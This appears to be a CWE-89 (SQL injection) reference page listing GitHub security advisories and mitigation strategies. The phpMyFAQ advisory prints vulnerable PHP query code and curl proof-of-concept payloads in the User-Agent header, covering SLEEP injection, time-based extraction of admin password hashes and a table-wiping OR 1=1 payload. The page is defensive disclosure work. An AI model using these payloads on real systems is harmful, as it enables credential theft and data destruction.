CWE-89
AllowedImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Abstraction: Base · Status: Stable
The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.
27542 vulnerabilities reference this CWE, most recent first.
GHSA-287H-M4P8-F58C
Vulnerability from github – Published: 2022-05-17 04:21 – Updated: 2022-05-17 04:21Multiple SQL injection vulnerabilities in the Apptha WordPress Video Gallery (contus-video-gallery) plugin 2.5, possibly as distributed before 2014-07-23, for WordPress allow (1) remote attackers to execute arbitrary SQL commands via the vid parameter in a myextract action to wp-admin/admin-ajax.php or (2) remote authenticated users to execute arbitrary SQL commands via the playlistId parameter in the newplaylist page or (3) videoId parameter in a newvideo page to wp-admin/admin.php.
{
"affected": [],
"aliases": [
"CVE-2014-9097"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2014-11-26T15:59:00Z",
"severity": "HIGH"
},
"details": "Multiple SQL injection vulnerabilities in the Apptha WordPress Video Gallery (contus-video-gallery) plugin 2.5, possibly as distributed before 2014-07-23, for WordPress allow (1) remote attackers to execute arbitrary SQL commands via the vid parameter in a myextract action to wp-admin/admin-ajax.php or (2) remote authenticated users to execute arbitrary SQL commands via the playlistId parameter in the newplaylist page or (3) videoId parameter in a newvideo page to wp-admin/admin.php.",
"id": "GHSA-287h-m4p8-f58c",
"modified": "2022-05-17T04:21:02Z",
"published": "2022-05-17T04:21:02Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2014-9097"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/127611/WordPress-Video-Gallery-2.5-Cross-Site-Scripting-SQL-Injection.html"
},
{
"type": "WEB",
"url": "http://wordpress.org/plugins/contus-video-gallery/changelog"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/68883"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-2884-65GJ-953Q
Vulnerability from github – Published: 2023-05-15 15:30 – Updated: 2024-04-04 04:06Sourcecodester Faculty Evaluation System v1.0 is vulnerable to SQL Injection via /eval/admin/manage_class.php?id=.
{
"affected": [],
"aliases": [
"CVE-2023-31845"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-05-15T13:15:11Z",
"severity": "HIGH"
},
"details": "Sourcecodester Faculty Evaluation System v1.0 is vulnerable to SQL Injection via /eval/admin/manage_class.php?id=.",
"id": "GHSA-2884-65gj-953q",
"modified": "2024-04-04T04:06:57Z",
"published": "2023-05-15T15:30:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-31845"
},
{
"type": "WEB",
"url": "https://github.com/acmglz/bug_report/blob/main/vendors/oretnom23/faculty-evaluation-system/SQLi-4.md"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-288H-4M8F-X8CF
Vulnerability from github – Published: 2022-05-17 00:48 – Updated: 2022-05-17 00:48Pragyan CMS v3.0 is vulnerable to a Boolean-based SQL injection in cms/admin.lib.php via $_GET['forwhat'], resulting in Information Disclosure.
{
"affected": [],
"aliases": [
"CVE-2017-14601"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-09-19T07:29:00Z",
"severity": "MODERATE"
},
"details": "Pragyan CMS v3.0 is vulnerable to a Boolean-based SQL injection in cms/admin.lib.php via $_GET[\u0027forwhat\u0027], resulting in Information Disclosure.",
"id": "GHSA-288h-4m8f-x8cf",
"modified": "2022-05-17T00:48:29Z",
"published": "2022-05-17T00:48:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-14601"
},
{
"type": "WEB",
"url": "https://github.com/delta/pragyan/issues/228"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-288R-47Q4-JVXJ
Vulnerability from github – Published: 2025-06-27 15:31 – Updated: 2026-04-01 18:35Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Wow-Company Hover Effects allows SQL Injection. This issue affects Hover Effects: from n/a through 2.1.2.
{
"affected": [],
"aliases": [
"CVE-2025-53258"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-06-27T14:15:45Z",
"severity": "HIGH"
},
"details": "Improper Neutralization of Special Elements used in an SQL Command (\u0027SQL Injection\u0027) vulnerability in Wow-Company Hover Effects allows SQL Injection. This issue affects Hover Effects: from n/a through 2.1.2.",
"id": "GHSA-288r-47q4-jvxj",
"modified": "2026-04-01T18:35:36Z",
"published": "2025-06-27T15:31:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-53258"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/hover-effects/vulnerability/wordpress-hover-effects-plugin-2-1-2-sql-injection-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-289C-42Q5-RFHV
Vulnerability from github – Published: 2024-12-25 15:30 – Updated: 2026-06-02 09:36Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Arne Informatics Piramit Automation allows Blind SQL Injection.This issue affects Piramit Automation: before 27.09.2024.
{
"affected": [],
"aliases": [
"CVE-2024-8950"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-12-25T13:15:19Z",
"severity": "CRITICAL"
},
"details": "Improper Neutralization of Special Elements used in an SQL Command (\u0027SQL Injection\u0027) vulnerability in Arne Informatics Piramit Automation allows Blind SQL Injection.This issue affects Piramit Automation: before 27.09.2024.",
"id": "GHSA-289c-42q5-rfhv",
"modified": "2026-06-02T09:36:14Z",
"published": "2024-12-25T15:30:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-8950"
},
{
"type": "WEB",
"url": "https://siberguvenlik.gov.tr/guvenlik-bildirimleri/detay/tr-24-1898"
},
{
"type": "WEB",
"url": "https://www.usom.gov.tr/bildirim/tr-24-1898"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-289F-922V-5266
Vulnerability from github – Published: 2023-09-07 15:30 – Updated: 2024-04-04 07:32The RDPData.dll file exposes the /irmdata/api/common endpoint that handles session IDs, among other features. By using a UNION SQL operator, an attacker can leak the sessions table, obtain the currently valid sessions and impersonate a currently logged-in user.
{
"affected": [],
"aliases": [
"CVE-2023-39423"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-09-07T13:15:08Z",
"severity": "CRITICAL"
},
"details": "The RDPData.dll file exposes the\u00a0/irmdata/api/common endpoint that handles session IDs, \u00a0among other features. By using a UNION SQL operator, an attacker can leak the sessions table, obtain the currently valid sessions and impersonate a currently logged-in user.\n",
"id": "GHSA-289f-922v-5266",
"modified": "2024-04-04T07:32:57Z",
"published": "2023-09-07T15:30:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-39423"
},
{
"type": "WEB",
"url": "https://bitdefender.com/blog/labs/check-out-with-extra-charges-vulnerabilities-in-hotel-booking-engine-explained"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-289F-FQ7W-6Q2W
Vulnerability from github – Published: 2026-05-06 20:49 – Updated: 2026-06-08 23:57Summary
BuiltinCaptcha::garbageCollector() and BuiltinCaptcha::saveCaptcha() at phpmyfaq/src/phpMyFAQ/Captcha/BuiltinCaptcha.php:298 and :330 interpolate the User-Agent header and client IP address into DELETE and INSERT queries with sprintf and no escaping. Both methods run on every hit to the public GET /api/captcha endpoint, which requires no authentication. An unauthenticated attacker sets the User-Agent header to a crafted SQL payload and runs SLEEP(), BENCHMARK(), or time-based blind extraction against the database that backs phpMyFAQ. Verified live against 4.2.0-alpha (master at b9f25109): baseline request 147 ms, request with User-Agent: x' OR SLEEP(2) OR 'x 4.09 s (two SLEEP(2) calls, one per vulnerable sink).
Details
phpmyfaq/src/phpMyFAQ/Captcha/BuiltinCaptcha.php:112 populates two private fields from untrusted HTTP input at construction time:
$this->userAgent = $request->headers->get('user-agent');
$this->ip = $request->getClientIp();
Both fields are then dropped into sprintf() SQL templates without ever touching Database::escape() or a prepared statement.
garbageCollector() at line 298 (called on every captcha request via getCaptchaImage()):
$delete = sprintf(
"
DELETE FROM
%sfaqcaptcha
WHERE
useragent = '%s' AND language = '%s' AND ip = '%s'",
Database::getTablePrefix(),
$this->userAgent, // unescaped
$this->configuration->getLanguage()->getLanguage(),
$this->ip, // unescaped
);
$this->configuration->getDb()->query($delete);
saveCaptcha() at line 330 does the same for INSERT:
$insert = sprintf(
"INSERT INTO %sfaqcaptcha (id, useragent, language, ip, captcha_time) VALUES ('%s', '%s', '%s', '%s', %d)",
Database::getTablePrefix(),
$this->code,
$this->userAgent, // unescaped
$this->configuration->getLanguage()->getLanguage(),
$this->ip, // unescaped
$this->timestamp,
);
$this->configuration->getDb()->query($insert);
For comparison, the same file's checkCaptchaCode() at line 472 passes user input through $db->escape() before interpolation. The BuiltinCaptcha author knew about escape(); the two sinks above skip it.
Reachability
phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/CaptchaController.php:39 exposes the vulnerable flow as an unauthenticated GET:
#[Route(path: 'captcha', name: 'api.private.captcha', methods: ['GET'])]
public function renderImage(): Response
{
if (!$this->captcha instanceof BuiltinCaptcha) {
return new Response('', Response::HTTP_NOT_FOUND);
}
// ...
$response->setContent($this->captcha->getCaptchaImage());
return $response;
}
getCaptchaImage() calls saveCaptcha() and garbageCollector() unconditionally. No CSRF token, session, or rate limit gates the request. Any unauthenticated user hitting GET /api/captcha injects into two queries at once.
Impact surface
MySQL's query() method executes one statement per call, so the attacker cannot stack queries. Time-based blind extraction with SLEEP() or BENCHMARK() still works, and the attacker can:
- Read any row the web user has access to through bit-by-bit
IF(SUBSTR((SELECT ...),1,1)='a', SLEEP(1), 0)chains. Thefaqusertable holdsauth_source,login, and bcrypt password hashes for every registered user;faqconfigholds themain.phpMyFAQTokenadmin token and SMTP credentials. UPDATE/DELETEarbitrary rows in the same connection's privilege scope using payloads that rewrite the DELETE's WHERE clause (for example,User-Agent: ' OR 1=1 --deletes the entirefaqcaptchatable and locks out legitimate users).
Proof of Concept
Tested against phpMyFAQ 4.2.0-alpha at master b9f25109fddb38eee19987183798638d07943f92, default install (MariaDB 10.6, Apache, PHP 8.4) on http://target:8090.
Step 1: Baseline request with a clean User-Agent:
time curl -sS -o /dev/null -w "HTTP %{http_code} %{time_total}s\n" \
-A "Mozilla/5.0" \
"http://target:8090/api/captcha?nocache=1"
# HTTP 500 0.147s
Step 2: Injection with SLEEP(2) in the User-Agent:
time curl -sS -o /dev/null -w "HTTP %{http_code} %{time_total}s\n" \
-A "x' OR SLEEP(2) OR 'x" \
"http://target:8090/api/captcha?nocache=2"
# HTTP 500 4.093s
The 4.09 s response time equals two SLEEP(2) executions, confirming the payload reached both the DELETE in garbageCollector() and the INSERT in saveCaptcha().
Step 3: Single-bit boolean extraction using time:
# leaks first character of the admin hash; 2s = 'a', 0s = otherwise
curl -sS -o /dev/null -A "x' OR IF(SUBSTR((SELECT pass FROM faquser LIMIT 1),1,1)='a',SLEEP(2),0) OR 'x" \
"http://target:8090/api/captcha?nocache=3"
Iterating position and character enables full credential exfiltration without any authentication.
Impact
Unauthenticated remote SQL injection against the primary phpMyFAQ datastore. In a default install the attacker reads every user credential hash, the admin token, SMTP credentials stored in faqconfig, and every FAQ row (including ones marked private or permission-scoped). DELETE-path payloads also tamper with or wipe arbitrary rows in the connection's scope. There is no authentication, CSRF token, or rate limit in front of /api/captcha.
Recommended Fix
Route both fields through Database::escape() before interpolation, or replace the sprintf + query() pattern with a prepared statement.
phpmyfaq/src/phpMyFAQ/Captcha/BuiltinCaptcha.php:298-325:
$db = $this->configuration->getDb();
$userAgent = $db->escape($this->userAgent);
$language = $db->escape($this->configuration->getLanguage()->getLanguage());
$ip = $db->escape($this->ip);
$delete = sprintf(
"DELETE FROM %sfaqcaptcha WHERE useragent = '%s' AND language = '%s' AND ip = '%s'",
Database::getTablePrefix(),
$userAgent,
$language,
$ip,
);
$db->query($delete);
Apply the same change to saveCaptcha() at line 330 and to every other sprintf-into-SQL path in the file. A targeted audit for sprintf.*SQL|sprintf.*SELECT|sprintf.*INSERT|sprintf.*UPDATE|sprintf.*DELETE across src/phpMyFAQ/ will surface the rest.
Found by aisafe.io
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.1"
},
"package": {
"ecosystem": "Packagist",
"name": "thorsten/phpmyfaq"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.1"
},
"package": {
"ecosystem": "Packagist",
"name": "phpmyfaq/phpmyfaq"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-46364"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-06T20:49:15Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "## Summary\n\n`BuiltinCaptcha::garbageCollector()` and `BuiltinCaptcha::saveCaptcha()` at `phpmyfaq/src/phpMyFAQ/Captcha/BuiltinCaptcha.php:298` and `:330` interpolate the `User-Agent` header and client IP address into DELETE and INSERT queries with `sprintf` and no escaping. Both methods run on every hit to the public `GET /api/captcha` endpoint, which requires no authentication. An unauthenticated attacker sets the `User-Agent` header to a crafted SQL payload and runs `SLEEP()`, `BENCHMARK()`, or time-based blind extraction against the database that backs phpMyFAQ. Verified live against 4.2.0-alpha (master at `b9f25109`): baseline request 147 ms, request with `User-Agent: x\u0027 OR SLEEP(2) OR \u0027x` 4.09 s (two `SLEEP(2)` calls, one per vulnerable sink).\n\n## Details\n\n`phpmyfaq/src/phpMyFAQ/Captcha/BuiltinCaptcha.php:112` populates two private fields from untrusted HTTP input at construction time:\n\n```php\n$this-\u003euserAgent = $request-\u003eheaders-\u003eget(\u0027user-agent\u0027);\n$this-\u003eip = $request-\u003egetClientIp();\n```\n\nBoth fields are then dropped into `sprintf()` SQL templates without ever touching `Database::escape()` or a prepared statement.\n\n`garbageCollector()` at line 298 (called on every captcha request via `getCaptchaImage()`):\n\n```php\n$delete = sprintf(\n \"\n DELETE FROM\n %sfaqcaptcha\n WHERE\n useragent = \u0027%s\u0027 AND language = \u0027%s\u0027 AND ip = \u0027%s\u0027\",\n Database::getTablePrefix(),\n $this-\u003euserAgent, // unescaped\n $this-\u003econfiguration-\u003egetLanguage()-\u003egetLanguage(),\n $this-\u003eip, // unescaped\n);\n$this-\u003econfiguration-\u003egetDb()-\u003equery($delete);\n```\n\n`saveCaptcha()` at line 330 does the same for INSERT:\n\n```php\n$insert = sprintf(\n \"INSERT INTO %sfaqcaptcha (id, useragent, language, ip, captcha_time) VALUES (\u0027%s\u0027, \u0027%s\u0027, \u0027%s\u0027, \u0027%s\u0027, %d)\",\n Database::getTablePrefix(),\n $this-\u003ecode,\n $this-\u003euserAgent, // unescaped\n $this-\u003econfiguration-\u003egetLanguage()-\u003egetLanguage(),\n $this-\u003eip, // unescaped\n $this-\u003etimestamp,\n);\n$this-\u003econfiguration-\u003egetDb()-\u003equery($insert);\n```\n\nFor comparison, the same file\u0027s `checkCaptchaCode()` at line 472 passes user input through `$db-\u003eescape()` before interpolation. The `BuiltinCaptcha` author knew about `escape()`; the two sinks above skip it.\n\n### Reachability\n\n`phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/CaptchaController.php:39` exposes the vulnerable flow as an unauthenticated GET:\n\n```php\n#[Route(path: \u0027captcha\u0027, name: \u0027api.private.captcha\u0027, methods: [\u0027GET\u0027])]\npublic function renderImage(): Response\n{\n if (!$this-\u003ecaptcha instanceof BuiltinCaptcha) {\n return new Response(\u0027\u0027, Response::HTTP_NOT_FOUND);\n }\n // ...\n $response-\u003esetContent($this-\u003ecaptcha-\u003egetCaptchaImage());\n return $response;\n}\n```\n\n`getCaptchaImage()` calls `saveCaptcha()` and `garbageCollector()` unconditionally. No CSRF token, session, or rate limit gates the request. Any unauthenticated user hitting `GET /api/captcha` injects into two queries at once.\n\n### Impact surface\n\nMySQL\u0027s `query()` method executes one statement per call, so the attacker cannot stack queries. Time-based blind extraction with `SLEEP()` or `BENCHMARK()` still works, and the attacker can:\n\n- Read any row the web user has access to through bit-by-bit `IF(SUBSTR((SELECT ...),1,1)=\u0027a\u0027, SLEEP(1), 0)` chains. The `faquser` table holds `auth_source`, `login`, and bcrypt password hashes for every registered user; `faqconfig` holds the `main.phpMyFAQToken` admin token and SMTP credentials.\n- `UPDATE` / `DELETE` arbitrary rows in the same connection\u0027s privilege scope using payloads that rewrite the DELETE\u0027s WHERE clause (for example, `User-Agent: \u0027 OR 1=1 -- ` deletes the entire `faqcaptcha` table and locks out legitimate users).\n\n## Proof of Concept\n\nTested against phpMyFAQ 4.2.0-alpha at master `b9f25109fddb38eee19987183798638d07943f92`, default install (MariaDB 10.6, Apache, PHP 8.4) on `http://target:8090`.\n\nStep 1: Baseline request with a clean `User-Agent`:\n\n```bash\ntime curl -sS -o /dev/null -w \"HTTP %{http_code} %{time_total}s\\n\" \\\n -A \"Mozilla/5.0\" \\\n \"http://target:8090/api/captcha?nocache=1\"\n# HTTP 500 0.147s\n```\n\nStep 2: Injection with `SLEEP(2)` in the User-Agent:\n\n```bash\ntime curl -sS -o /dev/null -w \"HTTP %{http_code} %{time_total}s\\n\" \\\n -A \"x\u0027 OR SLEEP(2) OR \u0027x\" \\\n \"http://target:8090/api/captcha?nocache=2\"\n# HTTP 500 4.093s\n```\n\nThe 4.09 s response time equals two `SLEEP(2)` executions, confirming the payload reached both the `DELETE` in `garbageCollector()` and the `INSERT` in `saveCaptcha()`.\n\nStep 3: Single-bit boolean extraction using time:\n\n```bash\n# leaks first character of the admin hash; 2s = \u0027a\u0027, 0s = otherwise\ncurl -sS -o /dev/null -A \"x\u0027 OR IF(SUBSTR((SELECT pass FROM faquser LIMIT 1),1,1)=\u0027a\u0027,SLEEP(2),0) OR \u0027x\" \\\n \"http://target:8090/api/captcha?nocache=3\"\n```\n\nIterating position and character enables full credential exfiltration without any authentication.\n\n## Impact\n\nUnauthenticated remote SQL injection against the primary phpMyFAQ datastore. In a default install the attacker reads every user credential hash, the admin token, SMTP credentials stored in `faqconfig`, and every FAQ row (including ones marked private or permission-scoped). DELETE-path payloads also tamper with or wipe arbitrary rows in the connection\u0027s scope. There is no authentication, CSRF token, or rate limit in front of `/api/captcha`.\n\n## Recommended Fix\n\nRoute both fields through `Database::escape()` before interpolation, or replace the `sprintf` + `query()` pattern with a prepared statement.\n\n`phpmyfaq/src/phpMyFAQ/Captcha/BuiltinCaptcha.php:298-325`:\n\n```php\n$db = $this-\u003econfiguration-\u003egetDb();\n$userAgent = $db-\u003eescape($this-\u003euserAgent);\n$language = $db-\u003eescape($this-\u003econfiguration-\u003egetLanguage()-\u003egetLanguage());\n$ip = $db-\u003eescape($this-\u003eip);\n\n$delete = sprintf(\n \"DELETE FROM %sfaqcaptcha WHERE useragent = \u0027%s\u0027 AND language = \u0027%s\u0027 AND ip = \u0027%s\u0027\",\n Database::getTablePrefix(),\n $userAgent,\n $language,\n $ip,\n);\n$db-\u003equery($delete);\n```\n\nApply the same change to `saveCaptcha()` at line 330 and to every other `sprintf`-into-SQL path in the file. A targeted audit for `sprintf.*SQL|sprintf.*SELECT|sprintf.*INSERT|sprintf.*UPDATE|sprintf.*DELETE` across `src/phpMyFAQ/` will surface the rest.\n\n---\n*Found by [aisafe.io](https://aisafe.io)*",
"id": "GHSA-289f-fq7w-6q2w",
"modified": "2026-06-08T23:57:42Z",
"published": "2026-05-06T20:49:15Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-289f-fq7w-6q2w"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-46364"
},
{
"type": "WEB",
"url": "https://github.com/thorsten/phpMyFAQ/commit/b9f25109fddb38eee19987183798638d07943f92"
},
{
"type": "PACKAGE",
"url": "https://github.com/thorsten/phpMyFAQ"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/phpmyfaq-sql-injection-via-user-agent-header-in-builtincaptcha"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "phpMyFAQ has unauthenticated SQL injection via User-Agent header in BuiltinCaptcha"
}
GHSA-289P-P594-WM4M
Vulnerability from github – Published: 2026-02-06 15:31 – Updated: 2026-02-06 15:31A flaw has been found in itsourcecode School Management System 1.0. This affects an unknown part of the file /ramonsys/settings/controller.php. This manipulation of the argument ID causes sql injection. It is possible to initiate the attack remotely. The exploit has been published and may be used.
{
"affected": [],
"aliases": [
"CVE-2026-2018"
],
"database_specific": {
"cwe_ids": [
"CWE-74",
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-06T13:15:54Z",
"severity": "MODERATE"
},
"details": "A flaw has been found in itsourcecode School Management System 1.0. This affects an unknown part of the file /ramonsys/settings/controller.php. This manipulation of the argument ID causes sql injection. It is possible to initiate the attack remotely. The exploit has been published and may be used.",
"id": "GHSA-289p-p594-wm4m",
"modified": "2026-02-06T15:31:02Z",
"published": "2026-02-06T15:31:02Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2018"
},
{
"type": "WEB",
"url": "https://github.com/ltranquility/CVE/issues/36"
},
{
"type": "WEB",
"url": "https://itsourcecode.com"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.344600"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.344600"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.744075"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-28C7-HWC8-PHGM
Vulnerability from github – Published: 2025-05-15 21:31 – Updated: 2025-05-20 21:30The Advance Post Prefix WordPress plugin through 1.1.1 does not sanitize and escape a parameter before using it in a SQL statement, allowing admins and above to perform SQL injection attacks
{
"affected": [],
"aliases": [
"CVE-2024-12735"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-05-15T20:15:36Z",
"severity": "HIGH"
},
"details": "The Advance Post Prefix WordPress plugin through 1.1.1 does not sanitize and escape a parameter before using it in a SQL statement, allowing admins and above to perform SQL injection attacks",
"id": "GHSA-28c7-hwc8-phgm",
"modified": "2025-05-20T21:30:35Z",
"published": "2025-05-15T21:31:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-12735"
},
{
"type": "WEB",
"url": "https://wpscan.com/vulnerability/1b355399-e92b-46aa-ada1-95e99fc03976"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-28CC-3W24-MFVX
Vulnerability from github – Published: 2025-05-15 21:31 – Updated: 2025-05-16 21:32The Auto Affiliate Links WordPress plugin before 6.4.7 does not sanitize and escape a parameter before using it in a SQL statement, allowing admins to perform SQL injection attacks
{
"affected": [],
"aliases": [
"CVE-2024-9838"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-05-15T20:16:01Z",
"severity": "MODERATE"
},
"details": "The Auto Affiliate Links WordPress plugin before 6.4.7 does not sanitize and escape a parameter before using it in a SQL statement, allowing admins to perform SQL injection attacks",
"id": "GHSA-28cc-3w24-mfvx",
"modified": "2025-05-16T21:32:11Z",
"published": "2025-05-15T21:31:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-9838"
},
{
"type": "WEB",
"url": "https://wpscan.com/vulnerability/3cc0ff78-b310-40a4-899c-15fecbb345c5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- For example, consider using persistence layers such as Hibernate or Enterprise Java Beans, which can provide significant protection against SQL injection if used properly.
Mitigation MIT-27
Strategy: Parameterization
- If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
- Process SQL queries using prepared statements, parameterized queries, or stored procedures. These features should accept parameters or variables and support strong typing. Do not dynamically construct and execute query strings within these features using "exec" or similar functionality, since this may re-introduce the possibility of SQL injection. [REF-867]
Mitigation MIT-17
Strategy: Environment Hardening
- Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
- Specifically, follow the principle of least privilege when creating user accounts to a SQL database. The database users should only have the minimum privileges necessary to use their account. If the requirements of the system indicate that a user can read and modify their own data, then limit their privileges so they cannot read/write others' data. Use the strictest permissions possible on all database objects, such as execute-only for stored procedures.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-28
Strategy: Output Encoding
- While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).
- Instead of building a new implementation, such features may be available in the database or programming language. For example, the Oracle DBMS_ASSERT package can check or enforce that parameters have certain properties that make them less vulnerable to SQL injection. For MySQL, the mysql_real_escape_string() API function is available in both C and PHP.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When constructing SQL query strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping.
- Note that proper output encoding, escaping, and quoting is the most effective solution for preventing SQL injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent SQL injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, the name "O'Reilly" would likely pass the validation step, since it is a common last name in the English language. However, it cannot be directly inserted into the database because it contains the "'" apostrophe character, which would need to be escaped or otherwise handled. In this case, stripping the apostrophe might reduce the risk of SQL injection, but it would produce incorrect behavior because the wrong name would be recorded.
- When feasible, it may be safest to disallow meta-characters entirely, instead of escaping them. This will provide some defense in depth. After the data is entered into the database, later processes may neglect to escape meta-characters before use, and you may not have control over those processes.
Mitigation MIT-21
